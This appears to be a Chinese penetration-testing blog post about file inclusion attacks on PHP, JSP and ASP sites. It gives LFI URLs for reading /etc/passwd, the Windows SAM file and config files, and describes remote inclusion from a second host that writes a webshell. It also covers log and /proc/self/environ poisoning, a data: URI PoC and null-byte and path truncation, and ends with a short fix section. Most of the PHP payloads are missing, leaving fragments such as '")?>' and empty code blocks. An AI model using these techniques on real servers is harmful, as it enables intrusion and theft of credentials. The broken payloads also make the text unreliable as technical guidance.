文件包含漏洞(绕过姿势)


当你的才华

还撑不起的野心时

那你就应该静下心来学习


目录

文件包含漏洞介绍

特殊姿势

亲测有效

php文件包含漏洞

本地包含漏洞(LFI)

远程包含漏洞

文件包含利用

读取敏感信息

远程包含shell

本地包含配合文件上传

本地包含配合apache日志拿shell

利用/proc/self/environ进行包含

利用php协议进行包含

截断包含

文件包含漏洞修复

jsp文件包含漏洞

asp文件包含漏洞

aspx文件包含漏洞


文件包含漏洞介绍

   由于开发人员编写源码,将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行。由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行。文件包含攻击中WEB服务器源码里可能存在inlcude()此类文件包含操作函数,通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因。

      如果攻击者为动态包含指令指定一个有效文件,那么该文件的内容会被传递给 PHP 解析器,可直接在远程服务器上执行任意PHP文件。

      如果攻击者能够指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码,也就是所谓的“远程文件包含”。

 

特殊姿势

  利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测,phar:// 数据流包装器自 PHP 5.3.0 起开始有效,貌似可以绕过安全狗。

利用过程

新建shell.php代码内容:

新建test.txt里的内容:

压缩test.txt文件,可以重命名压缩文件为zip,phar,rar等格式,之后访问shell.php文件后,会出现phpinfo内容。

亲测有效

 

在实验环境下,在test目录下新建shell.php,test.txt,并将test.txt打包成test.zip。

shell.php内容如下:
文件包含漏洞(绕过姿势)_第1张图片
test.txt内容如下:
文件包含漏洞(绕过姿势)_第2张图片
访问shell.php:
文件包含漏洞(绕过姿势)_第3张图片

php文件包含漏洞

PHP中的文件包含分为本地包含与远程包含,导致文件包含的函数如下:

  • include()
  • include_once()
  • require()
  • require_once()
  • fopen()
  • readfile()
    ……

本地包含漏洞(LFI)

新建一个phpinfo.txt,然后新建一个shell.php,写入:

访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写等),则通过include可以直接输出源码。

远程包含漏洞

前提:需要开启allow_url_fopen,默认关闭。
新建php.txt:

新建index.php:

访问http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。

文件包含利用

读取敏感信息

如:http://www.xxx.com/index.php?page=/etc/passwd
Windows:

c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini             php配置文件
c:\windows\my.ini               mysql配置文件

LINUX:

/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini          PHP相关设置
/etc/httpd/conf/http.conf                    apache配置文件
/etc/my.cnf                                              mysql配置文件

远程包含shell

test.txt文件,可以保存在远程服务器上,内容如下:

	
")?>

如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php内容为:

	

本地包含配合文件上传

如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传
上传一个图片木马a.jpg,内容为:

")?>

访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

本地包含配合apache日志拿shell

  apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

利用/proc/self/environ进行包含

如:http://www.test.com/view.php?page=../../../../proc/self/environ
这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。

利用php协议进行包含

  • data:  php5.2以后版本
  • php://input  需要开启allow_url_include

poc:

http://www.test.com/index.php?file=data:text/plain,%00

截断包含

有些开发者为了防止本地包含漏洞,会编写一下代码:

(一)00截断包含
新建1.jpg:

")?>

  这样的话比如上传一个1.jpg图片码,则访问http://www.xxx.com/1.jpg时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www.xxx.com/1.jpg%00

(二)使用长目录截断

././././././././././././././etc/passwd
或者
etc/passwd
或者
../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

文件包含漏洞修复

开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。
关闭allow_url_include函数,防止远程文件包含。

jsp文件包含漏洞

include

<%@ include file="head.jsp"%>
<%@ include file="body.jsp"%>
<%@ include file="tail.jsp"%>

jsp:include


   

说明

(1)include指令在转换时插入“Header.jsp”的源代码,而标准动作在运行时插入“Header.jsp”的响应。元素允许你包含动态文件和静态,而include说明标签仅仅是把一个文件内容当成静态追加到主文件中去。
(2)采用前两种方式,只能包含当前web应用的界面,不过c:import可以包含容器之外的内容。

asp文件包含漏洞

asp貌似无法包含远程文件(iis安全设置),只能包含本地文件,语法如下:

	

aspx文件包含漏洞

aspx文件包含与asp一样,语法如下:

	

 

参考:https://thief.one/2017/04/10/2/

 


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(渗透测试,Web,文件包含,前渗透篇)